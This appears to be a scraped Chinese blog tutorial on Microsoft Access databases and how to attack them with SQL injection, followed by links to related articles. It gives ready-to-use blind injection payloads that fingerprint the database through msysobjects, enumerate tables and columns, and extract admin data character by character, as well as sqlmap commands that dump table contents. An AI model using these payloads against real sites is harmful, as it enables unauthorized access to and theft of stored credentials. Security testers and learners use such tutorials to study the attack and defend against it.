Access数据库及注入方法
目录
Access数据库
Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。
在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。
Access数据库中没有注释符号.因此 /**/ 、 -- 和 # 都没法使用。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
数据库文件打开工具:辅臣数据库浏览器
Access数据库的连接
"Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"
Access数据库中的函数
select len("string") 查询给定字符串的长度
select asc("a") 查询给定字符串的ascii值
top n 查询前n条记录
select mid("string",2,1) 查询给定字符串从指定索引开始的长度
mid(string,start,length) 这个用来截取字符串的
- string是要截取的字符串
- start是截取的字符串开始索引
- length是要截取的字符串长度
盲注Access数据库
Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库
exists(select*from msysobjects) #如果这条语句正确,说明是Access数据库
Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。
对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。
判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
and exists(select* from admin)
猜测字段也是一样,只能通过枚举来猜测
判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列
and exists(select*from admin order by 10)
判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
and exists(select name from admin)
猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据
and (select count(*) from information)>100
然后在猜测每个字段具体的数据了
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了
猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5
猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97
从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55
注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值
asc("中") = -10544
chr(-10544) = 中
Sqlmap注入Access数据库
爆出access数据库存在的表,只能利用枚举的方式爆破。
sqlmap -u "xxx" --tables
第一步问我们是否使用公共的库去爆破,我们选择:Y;
第二步选择默认的库文件:1
第三步选择线程数:10

可以看出爆出了两个数据表:admin 、 specialty
爆出admin数据库中的列名
sqlmap -u "xxx" -T admin --columns
意思和上一步也是一样的。

爆出admin表下username列的所有数据
sqlmap -u "xxx" -T admin -C username --dump-all
相关文章:整理比较全的Access SQL注入参考
Access数据库及注入方法的更多相关文章
- access数据库一般注入方法及偏移注入
1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...
- Access数据库SQL注入(Access SQL Injection)
一.Microsoft Office Access数据库手工注入语句 1.参数后面加 ’ .and 1=1.and 1=2看返回状态判断是否存在注入点 2.参数后面加 and exists(sel ...
- Java Web项目中连接Access数据库的配置方法
本文是对前几天的"JDBC连接Access数据库的几种方式"这篇的升级.因为在做一些小项目的时候遇到的问题,因此才决定写这篇博客的.昨天已经将博客公布了.可是后来经过一些验证有点问 ...
- ACCESS数据库偏移注入
偏移注入主要是针对知道表,但是不知道字段的ACCESS数据库. 比如我们已经知道了表名是 admin 判断字段数: http://192.168.74.136:8002/Production/PROD ...
- SQLServer数据库及注入方法
目录 SQLServer数据库 SQLServer数据库的查询语句 SA权限开启xp_cmdshell获取主机权限 盲注SQLServer数据库 SQLServer数据库 SQL Server数据库是 ...
- MySQL数据库及注入方法
目录 MySQL数据库 mysql中比较常用的一些函数: 判断MySQL数据库是否存在SQL注入 MySQL数据库文件结构 MySQL数据库密码破解 MySQL UDF提权 MySQL数据库 MySQ ...
- 总结 vb与数据库的连接方法
总结 vb与数据库的连接方法 分类:vb数据库 (4672) (38) 举报 收藏 总结:vb与数据库连接方式,两种分法. 根据是否使用ODBC(驱动程序)来分: 1.有源连接 2.无源连接. ...
- access数据库之cookie注入
本来今天想写post注入的,但这几天正好看到chookie的注入的视频.就先写一下这个.大家对于我说的get post cookie注入可能会认为SQL注入就这几种方式.这概念是错的.Get post ...
- ACCESS数据库注入
0X01 我们想来了解一下access数据库 Access注入是暴力猜解 Access数据结构(access只有一个数据库) Access数据库 表名 列名 数据 没有库这个概念 只有表这个概念 这应 ...
随机推荐
- python的模块(module)和包(package)机制:import和from..import..
在python用import或者from...import来导入相应的模块. 模块其实就一些函数和类的集合文件,它能实现一些相应的功能,当我们需要使用这些功能的时候,直接把相应的模块导入到我们的程序中 ...
- WebSocket与即时通讯
HTTP 协议有一个缺陷:通信只能由客户端发起!HTTP 协议做不到服务器主动向客户端推送信息.这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦.我们只能使用"轮 ...
- Kettle连接数据库失败
Kettle是使用Java开发,开源的一款ETL工具,这里记录一下关于Kettle有关于数据库连接的问题 1.mysql版本需要注意区分,在mysql8.0的文档中官方已经给出,使用caching_s ...
- 【java框架】MyBatis(7)--MyBatis注解开发
1.MyBatis注解开发 1.1.Lombok的基本使用 Lombok是SpringBoot2.1.X版本与IDEA官方支持的一个插件,它是为简化POJO类中繁杂重复代码:geter/setter/ ...
- HYSBZ 1734 二分
传送门 题面: 农夫 John 建造了一座很长的畜栏,它包括N (2 <= N <= 100,000)个隔间,这些小隔间依次编号为x1,...,xN (0 <= xi <= 1 ...
- 一个C#开发编写Java框架的心路历程
前言 这一篇絮絮叨叨,逻辑不太清晰的编写Java框架的的一个过程,主要描述我作为一个java初学者,在编写Java框架时的一些心得感悟. 因为我是C#的开发者,所以,在编写Java框架时,或多或少会带 ...
- Redis入门到放弃系列-redis数据类型
Redis数据类型? Redis 提供一些常用的数据类型:Strings.Lists.Sets.Sorted sets.Hashes.Arrays.Bitmap.Streams Strings(字符串 ...
- SSM-员工管理项目实战-CRUD-增删改查
SSM-CRUD 一.项目简介 主界面演示 功能点 分页 数据校验 ajax Rest 风格的 URI 技术点 基础框架 - ssm(Spring + SpringMVC + MyBatis) 数据库 ...
- Github Actions 还能做这些事
前言 最近公司内部项目的发布流程接入了 GitHub Actions,整个体验过程还是比较美好的:本文主要目的是对于没有还接触过 GitHub Actions的新手,能够利用它快速构建自动测试及打包推 ...
- java例题_12 奖金问题(暴力破解)
1 /*12 [程序 12 计算奖金] 2 题目:企业发放的奖金根据利润提成. 3 利润I低于或等于 10 万元时,奖金可提 10%: 4 利润高于 10 万元,低于 20 万元时,低于 10 万元的 ...